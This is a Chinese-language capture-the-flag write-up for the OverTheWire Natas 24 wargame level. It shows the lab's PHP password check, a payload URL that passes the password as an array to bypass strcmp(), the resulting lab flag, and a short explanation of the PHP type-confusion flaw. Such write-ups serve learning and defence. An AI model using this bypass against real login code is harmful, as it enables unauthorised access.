Natas24:
一個登錄頁面,查看源碼,發現關鍵代碼:
if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } }
存在strcmp()函數,strcmp()函數的作用是比較兩個字符串,相同則為0。由此自然想到了strcmp漏洞,strcmp函數無法比較數組,會返回0,將passwd輸入為數組即可繞過。
Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[]=1
flag:GHF6X7YwACaYYssHVY05cFq83hRktl4c
擴展——strcmp漏洞
PHP strcmp(str1,str2) 函數:比較兩個字符串(區分大小寫)。
如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等返回 0。
可知,期望傳入的數據類型是字符串類型,但是如果我們傳入非字符串類型的數據的時候,這個函數將會有怎么樣的行為呢?實際上,當接受到了不符合的類型,這個函數將發生錯誤。在php 5.2版本以及之前的版本中,利用strcmp函數將數組與字符串進行比較會返回-1,但是從5.3開始,會返回0!也就是雖然報了錯,但卻判定其相等了。這對於使用這個函數來做判斷的代碼來說簡直是一個致命的漏洞。
參考:https://www.cnblogs.com/ichunqiu/p/9554885.html